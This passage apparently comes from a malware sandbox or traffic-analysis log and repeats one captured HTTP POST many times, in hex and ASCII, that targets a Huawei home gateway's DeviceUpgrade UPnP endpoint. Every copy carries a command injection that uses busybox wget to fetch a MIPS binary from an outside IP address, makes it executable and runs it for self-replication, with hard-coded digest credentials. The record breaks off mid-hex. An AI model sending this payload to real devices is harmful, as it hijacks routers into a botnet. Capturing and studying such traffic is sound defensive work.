52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 